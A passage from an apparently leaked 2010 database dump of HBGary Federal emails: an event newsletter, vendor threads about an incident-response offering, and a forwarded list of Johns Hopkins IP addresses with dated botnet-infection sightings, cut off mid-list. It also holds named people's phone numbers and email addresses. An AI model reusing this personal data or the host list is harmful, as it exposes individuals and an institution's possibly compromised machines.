you.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare excited about this offering and look forward to helping launch it!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets\r\n        \r\n        \r\n        \r\n        4416 East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:&nbsp;\r\n          fax:&nbsp;\r\n          mobile:\r\n          \r\n          \r\n          (240) 396-2445&nbsp;&lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8872,'aaron_hbgary_com/8872.html'),(7146,'2010-06-08','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297005191.M719227P14101Q2001.eml','aaron@hbgary.com','Family Day & 60+ Aircraft Fly-In at the Smithsonian Udvary Hazy Ctr - Jun 19 - RSVP & Bring Your Family','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     &nbsp;AFCEA \r\n        NOVA proudly sponsors\r\n      The \r\n        6th Annual Smithsonian Udvar-Hazy\r\n        Family \r\n        Day &amp; Aviation Fly-In\r\n       \r\n        www.afceanova.org/familyday \r\n        \r\n      Saturday, \r\n        June 19\r\n        10:00 AM to 3:00 PM\r\n        Smithsonian Air &amp; Space Museum\'s\r\n        Steven F. Udvar-Hazy Center, Dulles, VA\r\n       Admission: \r\n        No Admission fee - gratis to the public\r\n        Parking: $15/vehicle (why not carpool with a neighbor?) \r\n        \r\n      \r\n        RSVP \r\n          for you and your family to attend &quot;Family Day&quot; at the Smithsonian\r\n          (You will receive an update a few days before the event, with the list \r\n          of aircraftk, activities, etc., plus directions, parking, and other \r\n          logistics details to help you get to the event) \r\n          \r\n        View \r\n          Aircraft that are Flying-in for Family Day at the Smithsonian\r\n          \r\n        More \r\n          details about Family Day on the Smithsonian event website\r\n      \r\n      More \r\n        About Smithsonian Family Day &amp; Fly-In\r\n      More than \r\n        60 visiting aircraft ranging from antique to modern military, balloons \r\n        to un-manned vehicles, will be on display outside the Boeing Aviation \r\n        Hangar. Pilots will be with their aircraft to answer questions, and in \r\n        some cases visitors will be invited to sit in the cockpit.\r\n        \r\n        Inside the Center will be an array of special activities for all ages. \r\n        Visitors can learn what it takes to become a pilot; and youngsters can \r\n        participate in a living legends art activity, talk to model airplane experts, \r\n        enjoy hands-on activities, learn about careers in aviation, engineering, \r\n        math &amp; science, and fly a simulator. Even toddlers are included, with \r\n        &#8220;Flights of Fancy&#8221; stories and other age-appropriate activities.\r\n      Outside \r\n        the Center:\r\n      \r\n         Airplanes \r\n          of many sizes, types and countries of origin\r\n        Civilian, \r\n          Commercial, Military aircraft\r\n         Helicopters\r\n         Hot-air \r\n          balloons\r\n         Model \r\n          airplane flight demos\r\n         And pilots \r\n          galore!\r\n      \r\n      Inside \r\n        the Center:\r\n      \r\n        Tours\r\n          10:30 a.m. and 1 p.m. (90 minutes).\r\n          Meet at the Docent Desk, Boeing Aviation Hangar ground level\r\n          Discover the Center&#8217;s artifacts through the eyes of an expert \r\n          guide.\r\n        Discovery \r\n          Stations\r\n          10 a.m. &#8211; 3 p.m.\r\n          Throughout the Boeing Aviation Hangar.\r\n          Discovery Stations are portable, interactive carts that encourage informal \r\n          learning through active looking, discussion, and hands-on activities \r\n          related to aviation, space exploration, astronomy, and planetary geology. \r\n          Operated by volunteers or Museum staff, the carts provide interactive \r\n          fun for all ages. This year&#8217;s themes include: become a pilot, \r\n          principles of flight, HAWX! and Blazing Angels aviation flight simulators, \r\n          and Cessna 150.\r\n        Activities\r\n          10 a.m. &#8211; 3 p.m.\r\n          Throughout the building.\r\n          Enjoy a variety of fun, educational, hands-on activities for all ages, \r\n          participate in demonstrations, and learn about aviation-related topics.\r\n          * Art activity - identify the parts of an airplane\r\n          * Prize activity - earn a Become A Pilot For the Day certificate\r\n          * Parachute Packing Hands-on Demonstration - Big Air Sportz / Transcending \r\n          Fear\r\n          * International Plastic Modelers Society - Model Building Demonstration\r\n          * &#8220;Land the Space Shuttle&#8221; Flight Simulation\r\n          * Make Your Own SR-71 Activity \r\n          * University of Maryland - Powered Maple Seed Monocopter Demonstration\r\n        Wright \r\n          Brothers Musical Performance\r\n          11:30 a.m., 12:30 p.m. and 1:30 p.m.\r\n          South End Boeing Aviation Hangar\r\n          See performances by Thirst &amp; Howl Productions.\r\n        Book \r\n          Signings\r\n          10 a.m. - 4 p.m.\r\n          Various locations inside the Boeing Aviation Hangar\r\n          Meet the author and have your book signed. Books will be available for \r\n          purchase on site. Check back for more details.\r\n        Flights \r\n          of Fancy Story Time\r\n          11 a.m. &#8211; 3 p.m.\r\n          Claude Moore Education Center Area\r\n          Young &#8220;pilots in training&#8221; (ages 4-7 years old) and their \r\n          adult companions will enjoy fun-filled stories about aviation- and space-related \r\n          topics.\r\n        Airbus \r\n          IMAX&reg; Theater Presentations\r\n          Catch a film! Click here to purchase tickets online or to learn more \r\n          about the films.\r\n          Legends of Flight - 11 am, 1:45 pm + 4:30pm\r\n          Fighter Pilot - 12 pm, 2:45 pm + 5:30 pm\r\n          To Fly! - 1 pm + 3:45 pm\r\n        FAA \r\n          Wright Brother&#8217;s Master Pilot Award Presentation\r\n          11 a.m. &#8211; 12:15 p.m. \r\n          Claude Moore Education Center classroom 2A\r\n      \r\n      Location: \r\n        \r\n      Smithsonian \r\n        Air &amp; Space Museum\'s\r\n        Steven F. Udvar-Hazy Center, Dulles, VA\r\n        On Air and Space Museum Pkwy. off Rte. 28, Chantilly, Va.\r\n      If inclement \r\n        weather prevents visiting airplanes from arriving, indoor activities will \r\n        still take place.\r\n      \r\n        RSVP \r\n          for you and your family to attend &quot;Family Day&quot; at the Smithsonian\r\n          (You will receive an update a few days before the event, with the list \r\n          of aircraftk, activities, etc., plus directions, parking, and other \r\n          logistics details to help you get to the event) \r\n          \r\n        View \r\n          Aircraft that are Flying-in for Family Day at the Smithsonian\r\n          \r\n        More \r\n          details about Family Day on the Smithsonian event website\r\n      \r\n      Smithsonian \r\n        Family Day &amp; Fly-in is sponsored by:\r\n        AFCEA NOVA &amp; WTOP\r\n      \r\n         \r\n          &nbsp;\r\n            \r\n        \r\n         \r\n          &nbsp;\r\n        \r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    June Monthly Lunch w/ John Garing, Dir, Strategic Planning \r\n                    &amp; Information, DISA\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Mil/Gov Career Transition Seminar &amp; Dinner\r\n                  Doubtree \r\n                    Crystal City,\r\n                    Jun 14 (Mon), 2010\r\n                    \r\n                     \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Family Day &amp; Special Aviation Fly-In at the Smithsonian \r\n                    Udvar-Hazy Center\r\n                  Smithsonian \r\n                    Air &amp; Space Museum, Udvar-Hazy Ctr, Dulles, VA,\r\n                    Jun 19 (Sat), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                     NEW DATE: Small Business Breakfast - DISA \r\n                    GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 22 (Tue), 2010\r\n                    \r\n                  \r\n                    \r\n              \r\n               \r\n                 \r\n                    \r\n                      \r\n                      2nd Annual \r\n                      Warfighter Support AGENCIES IT DAY\r\n                      (formerly Combat Support IT Day)\r\n                    Sheraton \r\n                      Premiere Tysons Corner,\r\n                      Jul 15 (Thu), 2010\r\n                      \r\n                      \r\n                  \r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',14234,'aaron_hbgary_com/14234.html'),(7147,'2010-06-08','\"Michael G. Spohn\" <mike@hbgary.com>','/aaron@hbgary.com/new/1297005192.M260371P14101Q2003.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: IR','\r\n\r\n\r\n  \r\n\r\n\r\nI will give you a call tomorrow to discuss further.\r\n\r\nMGS\r\n\r\nOn 6/7/2010 5:26 PM, Aaron Barr wrote:\r\n\r\n  Hi Mike,\r\n\r\nWhat is your schedule like for the next few days.  I would like to find a time to talk a little about IR and what we are trying to put together, get your take on it.\r\n\r\nIn a nutshell we are teaming with HBGary, Fidelis, and EndGames to provide host, Network, and C&amp;C capabilities.  The structure would go something like this.\r\n\r\nPrior to an engagement run an EGS query against the customer or potential customers netblock to get historical compromises.  Take those listed as compromised and do some open source as well as nmap scans to complete the initial analysis.  Load the Fidelis and HBGary technology with the listed compromised IPs for initial analysis, work with staff to identify resolve NAT IPs associated with public IPs at that time.  During the engagement deploy Fidelis XPS appliance for network discovery, session reconstruction, and traffic analysis.  Deploy AD for host analysis.  Use the data from Fidelis to help drive host analysis, use host analysis to help drive broader network analysis.\r\n\r\nIn the end this entire suite can be configured as leave behind technology and either managed by the customer IT staff or as a managed service.  Continual analysis and exchange of information between EGS, Fidelis, and HBGary technology.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n\r\n\r\n\r\n',10271,'aaron_hbgary_com/10271.html'),(7148,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005192.M4728P14101Q2002.eml','mike@hbgary.com,mike@hbgary.com','IR','Hi Mike,\r\n\r\nWhat is your schedule like for the next few days.  I would like to find a time to talk a little about IR and what we are trying to put together, get your take on it.\r\n\r\nIn a nutshell we are teaming with HBGary, Fidelis, and EndGames to provide host, Network, and C&C capabilities.  The structure would go something like this.\r\n\r\nPrior to an engagement run an EGS query against the customer or potential customers netblock to get historical compromises.  Take those listed as compromised and do some open source as well as nmap scans to complete the initial analysis.  Load the Fidelis and HBGary technology with the listed compromised IPs for initial analysis, work with staff to identify resolve NAT IPs associated with public IPs at that time.  During the engagement deploy Fidelis XPS appliance for network discovery, session reconstruction, and traffic analysis.  Deploy AD for host analysis.  Use the data from Fidelis to help drive host analysis, use host analysis to help drive broader network analysis.\r\n\r\nIn the end this entire suite can be configured as leave behind technology and either managed by the customer IT staff or as a managed service.  Continual analysis and exchange of information between EGS, Fidelis, and HBGary technology.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6789,'aaron_hbgary_com/6789.html'),(7149,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005195.M592891P14101Q2004.eml','\"Ted Vera\" <ted@hbgary.com>','Datasheet nearing completion','\r\n',3498,'aaron_hbgary_com/3498.html'),(7150,'2010-06-08','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','/aaron@hbgary.com/new/1297005196.M323631P14101Q2005.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes.&nbsp; Friday afternoon is good. &nbsp;How about\r\n1PM CST?&nbsp; I&#8217;ll send a gotomeeting invitation when the time is confirmed.\r\n\r\n&nbsp;\r\n\r\nKevin\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 6:51\r\nPM\r\nTo: Harvey,\r\n Kevin\r\nCc: Etue, David; Ted Vera; Mark\r\nTrynor\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n&nbsp;\r\n\r\ngreat. &nbsp;Can we set something up for Friday afternoon then?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 7, 2010, at 9:24 AM, Harvey, Kevin wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n  \r\n   \r\n  \r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m available to get started as soon as\r\nthis Thursday afternoon or Friday. &nbsp;As David suggests, we could start out\r\nwith a quick demo and let things develop from there.&nbsp; The training could\r\nbe customized based on your requirements.&nbsp; Let me know what time works\r\nbest and I can setup a gotomeeting and conference number.\r\n\r\n&nbsp;\r\n\r\nKevin Harvey\r\n\r\n214.213.4389\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Friday, June 04, 2010 10:46\r\nAM\r\nTo: Harvey, Kevin\r\nCc: Aaron\r\n Barr\r\nSubject: RE: DuPont\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKevin,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d suggest we get a\r\nquick demo scheduled, even if the training might take a few days to get\r\nstarted.&nbsp; If you show some of the use cases in the demo, with how the\r\npolicy components work, it might get them started.&nbsp; They are hoping to\r\nlaunch this integrated offering by June 14.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:26\r\nAM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKevin, &nbsp;can we set up some training for these guys soonest?\r\n&nbsp;Overall introduction will be great with a focus on those capabilities we\r\nwould most use for incident response engagement; network discovery, session\r\nreconstruction, traffic isolation and analysis, integration with our Active\r\nDefense capabilities (so APIs).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we should\r\nconnect them with Kevin Harvey (cc&#8217;d), who will coordinate the training.&nbsp;&nbsp;Understanding our policy components\r\nand structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\n Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03, 2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing. &nbsp;Should\r\nwe have a conversation and potential demo of these capabilities for the folks\r\nout here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn a call with them &#8211; you okay if I mention your upcoming\r\noffering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7460,'aaron_hbgary_com/7460.html'),(7151,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005196.M771553P14101Q2006.eml','\"Bob Slapnik\" <bob@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','JHU Explanation','HBGary and its partners have technologywhich allows us to passively enumerate nodes associated with illegalbot-nets.  As we passively collect this information it is logged to adatabase (which is getting quite massive).  After our initial contact with JHU, we did a\r\nwhois search on www.arin.net to identify the IP netblocks associatedwith JHU, and JHU APL.We then queried our database to see if any of these IP addresses havebeen passively observed in any of the 65 bot-nets that we collect data\r\non and the results are below.  Don&#39;t put too much weight into theConfidence value.  We are still working on our confidence algorithm.At this point, it basically starts at 100% and then decreases overtime at different rates, based upon the type of event and the number\r\nof recorded observations.All of these JHU machines may have already been identified and fixedby your IT security dept, or they could all still be infected.  Iwould suggest that since it is a pretty small number of hosts,\r\nit would be worthwhile for your security team to at least check outthese machines to see if they have any current bot-net infections,especially the ones that were observed most recently.  It may be necessary to\r\nreview log files to determine which NAT ip address used the Internet IP addressat the given date/time stamp of the recorded events.-- Ted\r\n',15577,'aaron_hbgary_com/15577.html'),(7152,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005197.M311939P14101Q2008.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Penny Leavy\" <penny@hbgary.com>','Fwd: JHU','---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Mon, Jun 7, 2010 at 9:29 PM\r\nSubject: JHUTo: Bob Slapnik &lt;bob@hbgary.com&gt;Bob,\r\n\r\nBelow is the complete JHU results:\r\n\r\nIP : 192.12.13.2\r\nConfidence : 71.453984%\r\nEvents :\r\n        Conficker C : Wed May  6 19:19:32 2009 GMT\r\n        Conficker A/B : Thu May 13 01:05:36 2010 GMT\r\n        Spam : Thu Jun 11 18:59:00 2009 GMT\r\n\r\nIP : 192.12.13.32\r\nConfidence : 71.462935%\r\nEvents :\r\n        Conficker C : Fri Apr 16 14:47:12 2010 GMT\r\n        Conficker A/B : Thu May 13 02:10:33 2010 GMT\r\n        Spam : Sun May 24 11:59:00 2009 GMT\r\n\r\nIP : 192.12.13.129\r\nConfidence : 73.708112%\r\nEvents :\r\n        Conficker A/B : Tue May 25 04:11:12 2010 GMT\r\n\r\nIP : 128.220.0.15\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 128.220.3.108\r\nConfidence : 73.214159%\r\nEvents :\r\n        IRC Bot : Sat May 22 03:41:11 2010 GMT\r\n\r\nIP : 128.220.5.62\r\nConfidence : 10%\r\nEvents :\r\n        Conficker A/B : Fri Jul 24 17:22:12 2009 GMT\r\n\r\nIP : 128.220.5.110\r\nConfidence : 52.015178%\r\nEvents :\r\n        Conficker A/B : Fri Mar 12 18:49:01 2010 GMT\r\n\r\nIP : 128.220.6.85\r\nConfidence : 26.049824%\r\nEvents :\r\n        Conficker A/B : Thu Jan 28 12:30:52 2010 GMT\r\n\r\nIP : 128.220.14.8\r\nConfidence : 10%\r\nEvents :\r\n        Conficker A/B : Thu Jun 11 22:33:12 2009 GMT\r\n\r\nIP : 128.220.16.152\r\nConfidence : 33.20735%\r\nEvents :\r\n        Conficker A/B : Wed Feb 24 18:20:25 2010 GMT\r\n\r\nIP : 128.220.29.212\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar 21 15:59:00 2009 GMT\r\n\r\nIP : 128.220.29.227\r\nConfidence : 74.233201%\r\nEvents :\r\n        Mariposa : Fri May 28 21:28:17 2010 GMT\r\n        Conficker A/B : Fri Feb 26 21:08:30 2010 GMT\r\n\r\nIP : 128.220.30.32\r\nConfidence : 24.929823%\r\nEvents :\r\n        Conficker A/B : Sun Jan 24 12:50:20 2010 GMT\r\n\r\nIP : 128.220.30.76\r\nConfidence : 33.20735%\r\nEvents :\r\n        Zeus : Wed Feb 24 18:10:43 2010 GMT\r\n\r\nIP : 128.220.42.74\r\nConfidence : 13.504421%\r\nEvents :\r\n        Conficker A/B : Thu Dec 17 14:06:16 2009 GMT\r\n\r\nIP : 128.220.44.166\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar 13 23:59:00 2009 GMT\r\n\r\nIP : 128.220.48.216\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 128.220.52.168\r\nConfidence : 10%\r\nEvents :\r\n        Conficker A/B : Fri Nov  6 19:08:16 2009 GMT\r\n\r\nIP : 128.220.54.132\r\nConfidence : 10%\r\nEvents :\r\n        Conficker A/B : Thu Jan 29 21:11:41 2009 GMT\r\n\r\nIP : 128.220.54.211\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar  4 03:59:00 2009 GMT\r\n\r\nIP : 128.220.62.20\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 10 14:59:00 2009 GMT\r\n\r\nIP : 128.220.64.61\r\nConfidence : 10%\r\nEvents :\r\n        Conficker A/B : Thu Jan 15 06:39:08 2009 GMT\r\n\r\nIP : 128.220.64.82\r\nConfidence : 25.94555%\r\nEvents :\r\n        Conficker A/B : Thu Jan 28 03:37:12 2010 GMT\r\n\r\nIP : 128.220.69.59\r\nConfidence : 35.152796%\r\nEvents :\r\n        Zeus : Thu Mar  4 20:32:33 2010 GMT\r\n\r\nIP : 128.220.90.104\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 19 13:59:00 2009 GMT\r\n\r\nIP : 128.220.95.41\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Mar 19 23:59:00 2009 GMT\r\n\r\nIP : 128.220.111.133\r\nConfidence : 15.117677%\r\nEvents :\r\n        Conficker A/B : Tue Dec 22 17:51:46 2009 GMT\r\n\r\nIP : 128.220.128.221\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar 13 06:59:00 2009 GMT\r\n\r\nIP : 128.220.135.80\r\nConfidence : 71.300672%\r\nEvents :\r\n        IRC Bot : Wed May 12 09:19:22 2010 GMT\r\n\r\nIP : 128.220.141.21\r\nConfidence : 34.935087%\r\nEvents :\r\n        Zeus : Wed Mar  3 22:31:17 2010 GMT\r\n\r\nIP : 128.220.159.1\r\nConfidence : 35.142923%\r\nEvents :\r\n        Conficker A/B : Thu Mar  4 20:18:09 2010 GMT\r\n\r\nIP : 128.220.159.2\r\nConfidence : 67.952105%\r\nEvents :\r\n        IRC Bot : Wed Apr 28 18:43:55 2010 GMT\r\n\r\nIP : 128.220.159.20\r\nConfidence : 51.19224%\r\nEvents :\r\n        Conficker A/B : Wed Mar 10 19:34:30 2010 GMT\r\n\r\nIP : 128.220.159.63\r\nConfidence : 51.914929%\r\nEvents :\r\n        Mariposa : Fri Mar 12 14:26:57 2010 GMT\r\n\r\nIP : 128.220.160.1\r\nConfidence : 32.648888%\r\nEvents :\r\n        Zeus : Mon Feb 22 14:46:02 2010 GMT\r\n\r\nIP : 128.220.160.6\r\nConfidence : 53.20675%\r\nEvents :\r\n        Conficker C : Sun Nov 15 20:15:29 2009 GMT\r\n        Conficker A/B : Mon Mar 15 20:48:58 2010 GMT\r\n\r\nIP : 128.220.178.131\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Jan 10 07:59:00 2009 GMT\r\n\r\nIP : 128.220.181.240\r\nConfidence : 10%\r\nEvents :\r\n        SDBot : Mon Mar 30 20:59:00 2009 GMT\r\n\r\nIP : 128.220.184.163\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Mar 19 02:59:00 2009 GMT\r\n\r\nIP : 128.220.206.230\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 18 07:59:00 2009 GMT\r\n\r\nIP : 128.220.222.153\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar  1 13:59:00 2009 GMT\r\n\r\nIP : 128.220.227.211\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb 28 03:59:00 2009 GMT\r\n\r\nIP : 128.220.229.13\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb  9 06:59:00 2009 GMT\r\n\r\nIP : 128.220.231.2\r\nConfidence : 16.641809%\r\nEvents :\r\n        Conficker A/B : Mon Dec 28 15:23:01 2009 GMT\r\n\r\nIP : 128.220.231.3\r\nConfidence : 10%\r\nEvents :\r\n        Conficker C : Wed Apr 22 21:49:01 2009 GMT\r\n\r\nIP : 128.220.231.5\r\nConfidence : 10%\r\nEvents :\r\n        Bobax : Wed Nov  4 12:59:00 2009 GMT\r\n\r\nIP : 128.220.242.240\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 12 18:59:00 2009 GMT\r\n\r\nIP : 128.220.247.254\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat May  2 14:59:00 2009 GMT\r\n\r\nIP : 128.220.254.4\r\nConfidence : 